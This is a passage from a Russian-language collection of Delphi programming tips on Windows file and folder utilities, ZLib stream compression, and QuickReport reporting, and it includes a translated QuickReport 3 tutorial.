      OleCheck(ParentShellFolder.GetAttributesOf(1, ID, Flags));
      if IsElement(SFGAO_SHARE, Flags) then Result := True;
    end;
  end;
end;

{How to use the function?
 The parameter in is the full path of a folder}

procedure TForm1.Button1Click(Sender: TObject);
begin
  if IfFolderShared('C:\My Documents\WinPopup') then ShowMessage('shared')
  else
    ShowMessage('not shared');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


GROUPFILE и ADDITEM для групп

Вот код для создания файла группы и добавления в группу файла-элемента. Чтобы использовать эту процедуру, определите DDE clientconv App как ProgMan.

procedure TMainForm.CreateWinGroup(Sender: TObject);
var
  Name: string;
  Name1: string;
  Macro: string;
  Macro1: string;
  Cmd, Cmd1: array[0..255] of Char;
begin
  {destDir - dos-каталог, хранящий YourFile.Ext'}
  Name := 'GroupName';
  Name1 := destDir + 'YourFile.Ext, FileName_in_Group ';
  Macro := Format('[CreateGroup(%s)]', [Name]) + #13#10;
  Macro1 := Format('[Additem(%s)]', [Name1]) + #13#10;
  StrPCopy(Cmd, Macro);
  StrPCopy(cmd1, Macro1);
  DDEClient.OpenLink;
  if not DDEClient.ExecuteMacro(Cmd, False) then
    MessageDlg('Невозможно создать группу ' + Name, mtInformation, [mbOK], 0)
  else
  begin
    DDEClient.ExecuteMacro(Cmd1, False);
  end;
  DDEClient.CloseLink;
end;

Взято с http://delphiworld.narod.ru


Переместиться в конец файла

{ прыгаем в конец (eof) }
procedure gotoeof (f : file);
begin
  { перемещаемся в начало }
  seek (f, 0);
  { перемещаемся вперед на "x" количество байт,
    в нашем случае это размер файла! }
  seek (f, filesize(f));
end; {gotoeof}

Взято с http://delphiworld.narod.ru


Как получить короткий путь файла если есть длинный и на оборот?

// Короткий
GetShortPathName(LongPath)

// Наоборот длинный
GetFullPathName(ShortPath)

function sfn(const LongName: String): String;
// Возвращает LongFileName преобразованное в соответствующее короткое имя
var i :Integer;
begin
  SetLength(Result,Length(LongName));
  i := GetShortPathName(pChar(LongName),pChar(Result),Length(Result));
  if  i > Length(Result)  then begin
    SetLength(Result,i);
    i := GetShortPathName(pChar(LongName),pChar(Result),Length(Result));
  end;
  SetLength(Result,i);
end;

function ShortToLongFileName(FileName: string): string;
// Возвращает FileName преобразованное в соответствующее длинное имя
var
  KernelHandle: THandle;
  FindData: TWin32FindData;
  Search: THandle;
  GetLongPathName: function(lpszShortPath: PChar; lpszLongPath: PChar;
                            cchBuffer: DWORD): DWORD; stdcall;
begin
  KernelHandle := GetModuleHandle('KERNEL32');
  if KernelHandle <> 0 then
    @GetLongPathName := GetProcAddress(KernelHandle, 'GetLongPathNameA');

  // Использю GetLongPathName доступную в windows 98 и выше чтобы
  // избежать проблем доступа к путям UNC в системах NT/2K/XP
  if Assigned(GetLongPathName) then begin
    SetLength(Result, MAX_PATH + 1);
    SetLength(Result, GetLongPathName(PChar(FileName), @Result[1], MAX_PATH));
  end
  else begin
    Result := '';

    // Поднимаюсь на одну дирректорию выше от пути к файлу и запоминаю
    // в result.  FindFirstFile возвратит длинное имя файла полученное
    // из короткого.
    while (True) do begin
      Search := Windows.FindFirstFile(PChar(FileName), FindData);

      if Search = INVALID_HANDLE_VALUE then Break;

      Result := String('\') + FindData.cFileName + Result;
      FileName := ExtractFileDir(FileName);
      Windows.FindClose(Search);

      // Нахожу имя диска с двоеточием.
      if Length(FileName) <= 2 then Break;
    end;

    Result := ExtractFileDrive(FileName) + Result;
  end;
end;

Автор: Alex&Co
Сайт: http://alex-co.com.ru


поддержка библиотеки сжатия ZLib

В Delphi 7 официально включена поддержка библиотеки сжатия ZLib. Если у вас более старшая версия посмотрите модули ZLib в дестрибутиве среды (они должны быть на диске но подключать прийдеться самому).

Библиотеки под разные платформы, среды разработок и документация на сайте www.gzip.org/zlib.

Степень сжатия превосходит алгоритм zip. Максимальная степень сжатия по алгоритму ZLib приближается к степени сжатия упаковщиком RAR.

Модули Zlib, ZlibConst.

При использовании необходимо подключить в описании Uses модуль ZLib.

пример использования:
Компресия одного потока в другой:

ComressStream( aSource, aTarget : TStream; compressionRate : TCompressionLevel );
var comprStream : TCompressionStream;
begin
   // compression level : (clNone, clFastest, clDefault, clMax)
   comprStream := TCompressionStream.Create( compressionRate, aTarget );
  try
   comprStream.CopyFrom( aSource, aSource.Size );
   comprStream.CompressionRate;
  finally
   comprStream.Free;
  End;
End;

Декомпресия одного потока в другой:

DecompressStream(aSource, aTarget: TStream);
var decompStream : TDecompressionStream;
           nRead : Integer;
          buffer : array[0..1023] of Char;
begin
   decompStream := TDecompressionStream.Create( aSource );
  try
    repeat
      nRead:=decompStream.Read( buffer, 1024 );
      aTarget.Write( buffer, nRead );
    Until nRead = 0;
  finally
   decompStream.Free;
  End;
End;

Автор RoboSol
Взято из http://forum.sources.ru


Репортинг, работа с принтером

Cодержание раздела:

QuickReport
· Позволяет ли QuickReport выгружать данные в формате Microsoft Excel?
· Как сохранить QuickReport в stream?
· Использование компонентов Decision Support System при генерации отчетов в QuickReport
· Проблема с установками принтера

Печать, работа с принтером
· Настройки принтера. Драйвер. Очередь печати (раздел)
· Печать (раздел)
· Объект TPrinter (раздел)
· Предпросмотр (раздел)

FastReport - Разработка кросс-платформенных отчетов
Crystal Reports 8.0 через API
Передача переменной в отчет ReportSmith

См. также статьи в других разделах:
Как можно открыть отчёт (в режиме Print Preview а также print direct) в MS Access ?
Примеры работы с репортами


QuickReport

Cодержание раздела:

Позволяет ли QuickReport выгружать данные в формате Microsoft Excel?
Как сохранить QuickReport в stream?
Использование компонентов Decision Support System при генерации отчетов в QuickReport
Проблема с установками принтера
Создание отчетов с помощью QuickReport 3 (статья) New!

См. также статьи в других разделах:
Печать содержимого DBGrid через QuickReport


Позволяет ли QuickReport выгружать данные в формате Microsoft Excel?

Позволяет ли QuickReport выгружать данные в формате Microsoft Excel?

Quick Report не позволяет выгружать данные в формате Microsoft Excel. Но последние его версии позволяют сохранять отчеты в формате CSV (Comma Separated Value) и HTML, и оба эти формата можно прочесть с помощью Excel.

Помимо этого, для генерации отчета можно использовать автоматизацию Excel (Automation, ранее назвалось OLE Automation. — Прим. ред.), вообще не прибегая к использованию QuickReport.

Наталия Елманова
Взято из http://forum.sources.ru


Как сохранить QuickReport в stream?

uses QRPrntr;

procedure SaveQuickReportToStream(AQuickReport: TQuickRep; AStream: TStream);
var
  PL: TQRPageList;
  I: Integer;
begin
  PL := nil;
  try
    PL := TQRPageList.Create;
    PL.Stream := TQRStream.Create(100000);
    AQuickReport.Prepare;
    PL.LockList;
    try
      for I := 1 to AQuickReport.QRPrinter.PageCount do
        PL.AddPage(AQuickReport.QRPrinter.GetPage(I));
      PL.Finish;
    finally
      PL.UnlockList;
    end;
    PL.Stream.SaveToStream(AStream);
  finally
    FreeAndNil(PL);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  stream: TFileStream;
begin
  stream := TFileStream.Create('c:\quickreport.dat', fmCreate);
  QuickReportToStream(QuickRep1, stream);
  stream.Free;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Использование компонентов Decision Support System при генерации отчетов в QuickReport

Возможно ли использование компонентов Decision Support System при генерации отчетов в QuickReport и, если да, то каким образом? Если QuickReport не подходит для этих целей, то какие другие варианты вы можете посоветовать?

Самый простой способ - использовать компоненты TQRLabel, текст в которых динамически меняется во время печати (то есть способ, которым можно напечатать все, что угодно, написав при этом немного кода). В принципе можно записать двухмерное сечение куба во временную таблицу или в компонент TClientDataSet, написав соответствующий цикл, и сделать отчет на ее основе.

Использование DecisionQuery в качестве источника данных для отчета также вполне возможно.

Другие возможные варианты - это использование автоматизации Word или Excel либо вычисление сумм внутри отчета. Можно также использовать другие генераторы отчетов - например, с помощью Crystal Reports можно создавать отчеты, содержащие кросс-таблицы.

Наталия Елманова
Взято из http://forum.sources.ru


Проблема с установками принтера

Обнаружил, что компонент QReport никак не реагирует на установки принтера PrinterSetup диалога, вызываемого нажатием кнопочкисобственного Preview!

В QuickReport есть собственный объект TQRPrinter, установки которого он использует при печати, а стандартные установки принтеров на него не влияют. В диалоге PrinterSetup, вызываемом из Preview можно лишь выбрать принтер на который нужно печатать (если, конечно, установлено несколько принтеров).

Советую поставить обновление QReport на 2.0J с www.qusoft.com.

Перед печатью (не только из QReport) программно установите требуемый драйвер принтера текущим для Windows

function SetDefPrn(const stDriver : string) : boolean;
begin
  SetPrinter(nil).Free;
  Result := WriteProfileString('windows', device, PChar( stDriver));
end;

После печати восстановите установки.

Источник: http://dmitry9.nm.ru/info/


Создание отчетов с помощью QuickReport 3 (статья)

Создание отчетов с помощью
QuickReport 3

Что такое QuickReport 3?
QuickReport 3 это набор компонент для Delphi позволяющий вам построить отчет из базы данных быстро и просто. Позволяет не только отпечатать отчет, но и просмотреть его на экране, что позволяет пользователю проверить результат без порчи бумаги и экспортировать отчет в другие форматы, такие как простой ASCII текст, текст разделенный запятыми (CSV) и в HTML.
QuickReport сам написан на Delphi и знает все про модель Delphi обработки баз данных. Поэтому вы можете для создания отчетов в традиционных базах данных, базирующихся на BDE, таких как Paradox и dBase, клиентских наборов данных используемых в многоуровневой среде (multi-tier), новое для Delphi 5 ADO и Interbase Express components, так же альтернативные движки третьих сторон, такие как Apollo. Вы можете использовать QuickReport и для печати данных не из баз, если в этом есть потребность.
Данное руководство разработано для того, что бы быстрее освоить QuickReport, так что вы можете немедленно начать использовать его в ваших приложениях.
А также
QuickReport это прекрасный продукт, но если вам нужны расширенные возможности, то вы можете их расширить с помощью QuickReport Pro. В версию Pro включено все, что имеется в обычной версии плюс:
· Три дополнительных фильтра:
1. Excel XLS: XLS фильтр совместим с версией Excel 4 и позже, и предоставляет простой и надежный механизм для экспортирования данных в электронную таблицу.
2. Rich Text RTF: RTF фильтр базируется на спецификации Microsoft RTF версии 1.5, поддерживает больше возможностей, чем TRichEdit.
3. Windows Metafile WMF: WMF фильтр позволяет сохранить отчет в мета графическом формате.
· Несколько дополнительных компонент.
1. TQREditor построитель отчетов для конечного пользователя, что позволяет поставлять отчеты отдельно от программы.
2. TQuickAbstractRep наследник от базового класса TcustomQuickRep, который не использует TDataset - используйте это для построения своих собственных систем
3. TQRLoopBand печатает секцию несколько раз в зависимости от свойства PrintCount - прекрасная вещь для создания бланк форм.
4. TQRListWizard позволяет создать отчет на основе списка полей вашей таблицы
5. Прекрасная поддержка через email.
6. Полные исходные тексты. Программист может просто модифицировать код для локализации на конкретный язык, адоптировать в соответствии с требованиями локального стандарта на интерфейсы, добавить новые свойства и т.д.
7. Больше демо проектов, с углубленным качеством, включая примеры использования всех дополнительных свойств версии Pro, и дополнительная техника по написанию собственных функций для анализатора выражений.
Вы можете получить QuickReport Professional путем заполнения формы заказа на нашем web сайте, или у наших дистрибуторов QBS Software Ltd на http://www.qbss.com или у вашего локального продавца Delphi.

Первый отчет
Наилучший путь познать QuickReport это посмотреть его в действии. Данная глава показывает, как создать очень простой отчет. Запустите Дельфи и выполните следующие шаги:
1 Выберите File | New Application.
2 Бросьте TTable компонент на главную форму.
3 С помощью Object Inspector установите свойство DatabaseName на 'DBDemos', TableName на 'CUSTOMER.DB' и Active в True.
4 Бросьте TQuickRep компонент на главную форму. Размеры и позиция не имеют никакого значения.
5 Установите свойство DataSet на 'Table1'. Это ключевой шаг. Генератор отчетов проходит по всем записям в DataSet, только в этом случае Table1, может быть распечатан или просмотрен.
6 Если необходимо, то раскройте свойство Bands в Object Inspector путем нажатия на значок +. Установите HasDetail в True. Вы увидите, как появится секция в вашем отчете; смена свойства в действительности создает DetailBand1 объект.
7 Бросьте TQRDBText компонент на вновь созданную секцию.
8 Смените свойство DataSet на 'Table1' и DataField на 'Company'.

В данный момент вы должны видеть не что подобное, изображенному на рисунке Figure 1.

Figure 1 – Setting up a basic report

Для проверки, что вы все выполнили правильно, просмотрите отчет, для этого в любом месте TQuickRep щелкните правой кнопкой мышки и выберите Preview из меню.

Если вы видите это, то это значит, что вы создали отчет, который работает в design time. Конечно, не всегда все получается сразу. Если вы получили пустой лист, то проверьте, что выполнили все выше описанные шаги полностью – обычно забывают установить свойство TTable1.Active в значение True. Подобно если вы видите, что отчет содержит только одну строку – 'Kauai Dive Shoppe' – то проблема в том, что вы забыли связать QuickRep1 Dataset с TTable1.
Еще одна частая проблема, что вы не видите кнопок на линейке в форме просмотра. Тут никто не виноват (J): вы должны связаться с производителем операционной системы вашего компьютера и сказать 'DLL Hell'. Specifically, your machine's copy of the common control library (comctrl32.dll) is before 4.72, and needs updating. (От переводчика - замените comctrl32.dll на более свежую).
Вы также можете загрузить самую свежую версию comctrl32.dll с сайта Microsoft http://www.microsoft.com. Но поскольку данный файл входит в комплект поставки Internet Explorer и Windows Service Packs, то вы можете взять его с вашего CD. (В действительности вряд ли подобный баг вас затруднит как разработчика)
Теперь заставим данный отчет работать в откомпилированной программе. Вы должны написать код для вызова TQuickRep.Preview:
1 Разместите клавишу на вашей форме и установите ее свойство в 'Просмотр'
2 Дважды щелкните по данной кнопке, для добавления обработчика OnClick. Добавьте одну строчку кода:

procedure TForm1.Button1Click(Sender: TObject);
begin
  QuickRep1.Preview;
end;

Теперь запустите программу и нажмите кнопку Просмотр. Должно появится окно просмотра. Если вы желаете напечатать отчет напрямую на принтер по умолчанию, то просто смените слово Preview на слово Print, то есть
procedure TForm1.Button1Click(Sender: TObject);
begin
  QuickRep1.Print;
end;

В данный момент следует сделать несколько замечаний. В данной тестовой программе компонент TQuickRep расположен на главной форме и, как вы видите это выглядит не совсем хорошо. В реальной программе вы никогда не будете показывать форму содержащую TQuickRep. Вместо этого вы разметите его на другой форме.
Для того, что бы сделать данный пример похожим на настоящее приложение, сделаем еще несколько шагов:
1 Создаем другую форму, назовем ее как Form2
2 Сделаем ее главной формой Project | Options | Main form to Form2
3 Бросим кнопку на Form2
4 Напишем код в обработчике события кнопки
procedure TForm2.Button1Click(Sender: TObject);
begin
  Form1.QuickRep1.Preview;
end;
5 Откомпилируем проект. Компилятор возмутится, что на Unit1 нет ссылки в Unit2's Uses, и предложит исправить код, соглашаемся.

Программа должна быть снова откомпилирована и запущена, и теперь выглядит лучше и более 'реалистично'. Конечный пользователь уже не видит компонента TQuickRep.
Выше приведенное сказано для того, что бы в дальнейшем во всех примерах использовалась дополнительная форма, надеюсь вы будете так поступать и в реальных программах.
Компоненты
Все компоненты QuickReport расположены на закладке QReport палитры компонент Delphi. Здесь краткий тур что это такое и как они помогут вам.
TQuickRep. Это наиболее важный компонент, это контейнер для всех других печатных компонент. Выглядит как лист бумаги, на котором вы будете печатать. Его свойство Page позволяет установить размеры бумаги, в то же время свойство Dataset определяет источник данных для отчета.
Заметим, что вместо размещения компонента TQuickRep на одной из форм вы можете добавить TQuickReport модуль в ваш проект:
6 Выберите File | New….
7 Выберите закладку New
8 Выберите Report item (в середине нижней строки)

TQuickReport немного похож на TDataModule – это специальный тип формы, которая никогда не показывается пользователю программы. Если вы, то вы можете использовать TQuickReport на псевдо-форме вместо компонента TQuickRep– никакой разницы в их методах, свойствах и событиях. Но мы рекомендуем, на собственном опыте, что вы разместите компонент TQuickRep на форме: это наиболее подходящее решение. Например, размещение TQuickRep на форме позволяет вам использовать обработчик OnCreate если вы пожелаете добавить некоторые объекты в отчет программным путем.

Секции (Band) компоненты
Это также компонеты-контейнеры, представляющие собой как бы горизонтальный полоски в отчете. Секции могут быть привязаны к физической позиции на странице – например вверху – и также могут плавать по странице в при отражение данных из master/detail. Например, может быть несколько записей по продаже для одного заказчика, так что секция содержащая записи об продажах может появляться несколько раз для каждого заказчика отдельно.
TQRSubDetail. Это секция для отражения данных в master/detail связях. Вы также можете сделать ее мастером для другой секции detail, и таким образом создать несколько уровней детализации.
TQRStringsBand. Данный тип секции представляет механизм создания отчетов без использования TDataSet. Для выборки данных используется TStrings контейнер; вместо выборки из базы данных.
TQRBand. Базовый тип секции, который может играть различные роли в зависимости от свойства BandType. Обычно нет нужды бросать TQRBand в отчет. Вместо этого используйте свойство Bands компонента TQuickRep, который и создаст необходимые объекты TQRBand и установить требуемы свойства.
TQRChildBand. Используйте объект TQRChildBand когда вам требуется расширить существующую секцию. Например, вы разместили несколько компонент TQRMemo в секции, и желаете добавить TQRLabel, которая должна быть всегда нижк. Поскольку объекты TQRMemo могут занимать более одной строки, в зависимости от содержимого, то неэффективно размещать метку на самой секции. Вместо этого добавьте объект TQRChildBand, и разместите метку на нем. Наиболее простой путь добавить подобную секцию это дважды щелкнуть по свойству HasChild в Object Inspector.
TQRGroup. Секция которая печатается при смене выражения, обычно при смене значения какого либо поля из базы данных. Данная секция предназначена для группирования одинаковых записей. Например, для печати списка адресов, сгруппированного по полу State Code нужно добавить секцию и установить свойство Expression в значение State Code. При печати отчета адреса будут печататься по штатам.

Печатные (Printable) компоненты
Наиболее подходящий аналог для печатных компонент QuickReport это стандартные компоненты Дельфи размещаемые на формах. Именно эти компоненты обеспечивают действительную печать на бумагу. TQRLabel. Размещает статический текст на странице.
TQRDBText. Эквивалент компоненты TDBText – используется для отображения содержимого полей базы данных. Похоже на стандартные компоненты, но предназначенные для использования с QuickReport, TQRDBText использует свойство DataSet для указания источника данных. Обычные data-aware компоненты используют свойство DataSource, которое требует использования отдельного компонента TDataSource для связи с набором данных. QuickReport не требуется.
TQRExpr. Используется для отображения 'выражений'. Обычно вы используете для предварительной обработки данных перед печатью. Наилучший путь думать, что это аналог расчетных calculated полей, используемых только в отчете. Например, вы можете объединить все части имени заказчика, поля в таблице customer "Title", "Forename" и "Surname". To Просто установите свойство Expression в
   Title + " " + Forename + " " + Surname
В реальной жизни, вы вероятно будете использовать более сложное выражение, но данный пример дает представление об использовании.
TQRSysData. Компонент позволяет отображать 'системные данные', подобные номеру текущей страницы в отчете, и текущую дату и/или время.
TQRMemo. Очень похож на стандартный компонент TMemo; используйте для отображения многострочного текста. Как вы правильно предполагаете, данные содержатся в свойстве Lines типа Tstrings.
TQRExprMemo. Композиция TQRExpr и TQRMemo. Вы можете использовать для включения {вычисляемых} выражений в многострочный блок. Это позволяет абсолютно натуральном путем изготавливать адреса, особенно учитывая наличие свойства RemoveBlankLines. Например:
Company : {CompanyName}
Address : {Address1}
          {Address2}
Contact : {Contact + ' ' + Phone number}
TQRRichText. Помещает rich text (то есть многострочный текст с RTF форматированием) на страницу. Одно из назначений данного компонента это печать содержимого компоненты TRichEdit control – просто назначьте свойство TQRRichText.ParentRichEdit.
TQRDBRichText. Это data-aware версия TQRRichText. Используйте для печати форматированного текста из BLOB полей.
TQRShape. Кузина редко используемого компонента TShape control из палитры 'Additional'. В действительности версия QuickReport очень полезна для размещения различного типа рюшечек в отчет, таких как разделительные лини над итогами или группирующие прямоугольники.
TQRImage. Отображает картинку или логотип в отчете. Поддерживает те же самые векторные и битмаповские форматы, что и TImage, и может быть установлено в design time с помощью свойства Picture.
TQRDBImage. data-aware версия, для отображения картинок из BLOB полей базы данных.

Просмотр и композитные отчеты
TQRCompositeReport. Иногда вам требуется группировать совместно отдельные отчеты в один общий. Например, возможно вам нужно напечатать всех новых заказчиков за последнюю неделю вместе со всеми их заказами. Так как понятие заказчик включает в себя все эти вещи как одно целое, а сточки зрения базы данных вам для это требуется несколько отдельных отчетов. TQuickRep компонент позволяет выполнить эту задачу.
Путь для решения это задачи в использовании TQRCompositeReport компонента. Разместите один на форме. Во первых, вы должны определить обработчик для события OnAddReports, который вызывает метод TQRCompositeReport.Add для добавления всех TQuickRep компонент необходимых для печати. Предположим, что отчеты которые вы желаете объединить находятся на формах с именами RepNewCust, RepOrderSummary и StockReorder, и во всех случаях TQuickRep компонент называется 'Report' (см. главу 'Добавляем TQuickRep' ниже для понимания почему вы должны делать это). Для этого ваш обработчик OnAddReports выглядеть следующим образом

procedure TForm1.QRCompositeReport1AddReports(
  Sender: TObject);
begin
  QRCompositeReport1.Reports.Add(RepNewCust.Report);
  QRCompositeReport1.Reports.Add(RepOrderSummary.Report);
  QRCompositeReport1.Reports.Add(RepStockReorder.Report);
end;

(Если вы не брезгуете использованием оператора with в вашем коде, то вы можете написать так
with QRCompositeReport1.Reports do
begin
  ...
end;

и убрать плохо выглядящее повторение QRCompositeReport1.Reports из всех трех строк.)
Теперь вы можете вызывать QRCompositeReport1.Print для печати всех трех отчетов в одном задании, и QRCompositeReport1.Preview to для их просмотра. Имеются также несколько свойств для компонента TQRCompositeReport которые позволяют управлять размером бумаги и устанавливать заголовок для отчета – обычно требуется управлять всем для композитного отчета в одном месте.
TQRPreview. Для просмотра отчета перед печатью, все что вам нужно это вызвать TQuickRep.Preview and и стандартное окно просмотра появится. Во многих случаях, вам нужно более полный контроль над окном просмотра.
Компонент TQRPreview позволяет это сделать. Бросьте один на вашу формы, после этого добавьте строку кода в обработчике TQuickRep.OnPreview, компонент работает как основа для размещения ваших органов управления. Если у вас еще больше амбиций или вы желаете сменить просмотр для композитных отчетов, то вы можете зарегистрировать свою собственную форму для просмотра. Смотрите главу 'Создание собственного просмотра'.

Фильтры
Иногда, вместо печати или просмотра, вам нужно экспортировать данные их вашей базы в другой формат. QuickReport включает в себя три типа фильтров, которые позволяют быстро и просто выполнить данную работу. Просто бросьте компонент экспорта на ту же форму, что и отчет, и список файловых форматов появится в выпадающем списке Save To file диалоге просмотра. Регистрация автоматическая, вам не нужно ничего кодировать! (Но не беспокойтесь, вы можете экспортировать и программно.)
Заметим, что не все печатные компоненты могут быть экспортированы. Обычно, только содержимое следующих компонент появляется в экспортируемых данных: TQRLabel, TQRDBText, TQRExpr, TQRMemo, TQRSysdata and TQRExprMemo.
TQRTextFilter. 'Text' формат: экспортирует отчет, как простой ASCII текст, используются пробелы для разделения полей.
TQRCSVFilter. CSV формат: экспортирует отчет 'Comma Separated Variables'. Используются запятые для разделения полей, данный фильтр вставляет "двойные кавычки " вокруг них, что позволяет использовать запятые внутри полей. Данный формат очень легко импортируется в различного рода электронные таблицы, такие как Microsoft Excel. Тем не менее, компонент имеет свойство Separator, что позволяет использовать и другие разделители полей. По умолчанию его значение ',' запятая, но это может быть изменено в соответствии с вашими требованиями.
TQRHTMLFilter. HTML формат: экспортирует отчет в HyperText Markup Language, который используется в web браузерах, некоторых постовых клиентах, справочных системах и во многих других местах.
Имеется возможность экспортировать отчет из кода. Следующий пример показывает как использовать HTML фильтр.
quickrep1.ExportToFilter(
 TQRHTMLDocumentFilter.Create('c:\report.txt'));

Для использования фильтров Text или CSV данных образом, используйте тот же самый вызов ExportToFilter но только укажите соответствующий фильтр как TQRAsciiExportFilter или TQRCommaSeparatedFilter.

Графики
TQRChart это версия TChart адаптированная под QuickReport. Позволяет добавлять сложные графики к вашим отчетам. TQRChart используется тем же самым образом, что и стандартный компонент Tchart – двойной щелчок вызывает редактор свойств. Подробности смотреть в документации на TeeChart.

Несовместимость версий
В связи с особенностью наших компонент, некоторые версии TeeChart не совсем совместимы с QuickReport, и компонент TQRChart и TeeChart могут быть загружены во время апгрейда QuickReport. Например, во время написания Delphi 3 версии QuickReport 3 (или выше) не все работало с TeeChart, поскольку версия of TeeChart которая поступала с Delphi 3 был кодирована под версию QuickReport 2. Для решения проблемы можно загрузить (свободно) TeeChart 4 (evaluation version J) с сайта TeeMach http://www.teemach.com/.
Данная редакция расширяет компонент Decision Cube из Client/Sever и Enterprise Editions редакций Delphi – это зависит от TeeChart. В данный момент нет пути использовать Delphi 3 Decision Cube вместе с QuickReport 3 и TeeChart.
Мы извиняемся за подобную ситуацию. С тех пор как мы разрешили другим сторонам писать для QR, мы не можем автономно вносить исправления в их код. Если вы имеете проблемы после апгрейда QuickReport, пожалуйста проверьте сайты http://www.qusoft.no/ и TeeMach's для получения последней информации.

Создание отчетов
Первым шагом создания отчета, является создание формы для размещения вашего компонента TQuickRep. Мы называем подобную форму, как 'форма отчета поскольку это просто контейнер для хранения компонент отчета и она никогда не показывается конечному пользователю. Хорошим тоном является применение некоторых соглашений по именованию подобных форм, так что бы их было просто идентифицировать в project manager и при просмотре каталога файлов. Например, вы можете использовать префикс для вех отчетов как 'rep' или 'rp'. Вы можете использовать подобную схему для всех форм и модулей данных.
Добавляем TQuickRep
Следующий шаг, размещение TQuickRep на форме. Другой соглашение именуйте все компоненты TQuickRep, как 'Report', вы сможете ссылаться на них как repCustomerListing.Report, repSalesListing.Report.
Свойства Units и Zoom
После размещения компонента TQuickRep на форме вы увидите сетку для позиционирования различных компонент в отчете. Сетка показывается в текущих единицах измерения QuickReport. Выбор соответствующей единицы измерения производится через свойство TQuickRep.Units в инспекторе объектов. Сетка изменяется в соответствии с единицами измерения.

При установке свойства Units в 'MM', сетка отображается с шагом в 10mm; при установке в 'Inches' с интервалом в один дюйм. Используя сетку, вы можете получить очень точное размещение элементов, и изменение размеров с точностью 0.01" или 0.01mm.
Обычно ваш экран слишком мал, что бы отобразить все компоненты TQuickRep, поскольку их размер базируется на действительных размерах выбранной бумаги. Для просмотра всего отчета измените свойство на 50% или меньше. Изменение свойства zoom заставляет TQuickRep и все печатные компоненты, содержащие в нем пере рисоваться в соответствии со шкалой. Данное свойство может использоваться и для увеличения, с целью более точного размещения важных компонент в отчете.
Размер страницы и границы
Вы можете очень точно указать параметры страницы, развернув список суб свойств свойства Page компоненты TQuickRep. Двойной щелчок на значке + слева от 'Page' в инспекторе объектов. Вы увидите все опции управляющие страницей.
Значения указываются в соответствии со свойством Units, в данном случае в дюймах. Границы видны в как синии линии в компоненте TQuickRep. Все секции изменяют свои размеры в соответствии с границами.
Не все принтеры поддерживают режим Custom для размеров бумаги. В данном случае вы должны выбрать 'Custom paper size' в диалоге драйвере принтера (доступно через панель управления Windows) и определить размер там. Устанавливает размер для принтера по умолчанию и окончательно установите свойство TQuickRep.Page.PaperSize в состояние Default. Ваш пользовательский размер будет доступен в runtime.
Альтернативно и возможно более безопасно использовать следующий больший размер, и установить границы для установки области печати в пользовательской области.
Выбор шрифта
Как вы уже знаете, вы можете установить шрифт по умолчанию для всего отчета в свойстве TQuickRep.Font. Двойной щелчок по свойству вызывает стандартный диалог выбора шрифтов.
Шрифты указанные здесь - это системные шрифты Windows, True Type шрифты и PostScript fonts (если установлен Adobe TypeManager). Вы можете использовать любую комбинацию шрифтов в отчете, но мы рекомендуем использовать только TrueType или PostScript шрифты, если вы желаете разрешить пользователю пользоваться просмотром. Системные шрифты не масштабируются во время просмотра.
Некоторые матричные принтеры печатают много быстрее если вы используете принтерные шрифты (шрифты встроенные в принтере). Такие шрифты не указываются в диалоге, но могут быть установлены программно:
repCustomerListing.Report.Font.Name := 'CG TIMES';

Читабельность вашего отчета очень зависит от выбора шрифтов. Вы должны подойти со всей внимательностью к этому выбору. Использование большого количество различных шрифтов, цветов может сделать чтение вашего отчета неприятной задачей.
Заголовок и описание
Компонент TQuickRep имеет свойства Title и Description, которые идентифицируют и описывают ваш отчет. Данные свойства только для вашего личного использования, что бы вы могли делать выбор отчета в соответствующей процедуре. Например, вы можете иметь отдельное меню для выбора отчетов из списка по его заголовку (title) и показывать его описание когда пользователь производит выбор отчета. Данную методику можно посмотреть в демонстрационном проекте QuickReport.
Свойство Title может быть распечатано в отчете с помощью TQRSysData компоненты.
Свойство Functions
Свойство Functions компоненты TQuickRep разрешает вам установить константы и функции, которые могут быть использованы в выражениях TQRExpr, TQRExprMemo и TQRGroup. Двойной щелчок по клавише '…' в инспекторе объектов, вызывает специальный редактор свойств:
Используйте данный диалог, и построитель выражений, для определения констант которые вам требуются в выражениях. Например, вы видите в Figure 8 определение константы PI как 3.14159265358979. Другие функции, которые вы видите здесь, '…' заранее предопределены.

Работа с секциями
QuickReport является генератором работающий с секциями (band). Если вы незнакомы с данным понятием, то думайте об секциях как о маленьких кусочках бумаги (шаблонах), которые размещаются горизонтально на бумаге и заполняются данными. Различные шаблоны копируются в различные места страницы/отчета. Печатные компоненты TQRLabel, TQRDBText и другие, разработаны для размещения на секциях. Размещение данных компонент на прямую на отчет не предусмотрено.
Простейшим путем добавления секций в отчет является использование свойство TQuickRep.Bands в инспекторе объектов. Щелкните по значку '+' слева от надписи 'Bands' для развертывания списка секций

Инспектор объектов показывает, используется данная секция или нет, и вы можете добавить или удалить любую секцию просто установив соответствующее свойство. Секции созданные данным путем имеют имена, описывающие их назначение: DetailBand1, PageHeaderBand1 и т.д. Свойство BandType устанавливается автоматически.
Хотя и возможно добавление секций вручную и установке BandType в rbSubDetail или rbGroupHeader, но это не рекомендуется. Данные секции предназначены для использования только с секциями TQRSubDetail и TQRGroup. Использование их где-либо еще может дать непредсказуемый результат.
Вы также можете добавить секции путем выбора компоненты TQRBand из палитры и размещения их в отчете. Заметим, что в этом случае вы должны сами побеспокоиться об установке свойства BandType, и вы также должны дать секции подходящее имя. Свойство Bands контейнера TQuickRep преобразуется автоматически для отражения секций добавленных в отчет данным путем.
Здесь список простых секций, которые вы можете добавить в отчет:
Band type   Purpose
Page Header   Первая секция, обычно печатается на каждой странице. Печать на первой странице определяется свойством Options.FirstPageHeader. Значение по умолчанию: печатать на первой странице.
Title   Секция title - первая секция, которая печатается в отчете (после заголовка первой страницы, если есть). Часто используется для печати титульного листа отчета, критериев выбора данных, Даты и времени создания и т.д.
Column Header   Секция заголовков, печатается вверху регулярного отчета, на каждой странице. После заголовка страницы (и после Title на первой странице). В много колоночном отчете , печатается для каждой колонки. Часто используется для печати наименований полей.
Detail   Секция для печати каждой записи (строки) вашего набора данных. Это конечно наиболее важная секция в отчете и которая занимает основное место в вашем отчете. Вы должны поместить data-aware печатные компоненты, такие как TQRDBText на эту секцию.
Summary   После печати всех секций detail, вы можете отпечатать суммарные итоги в данной секции..
Page Footer   Последняя секция на каждой странице. Печать на последней странице определяется свойством Options.LastPageFooter..

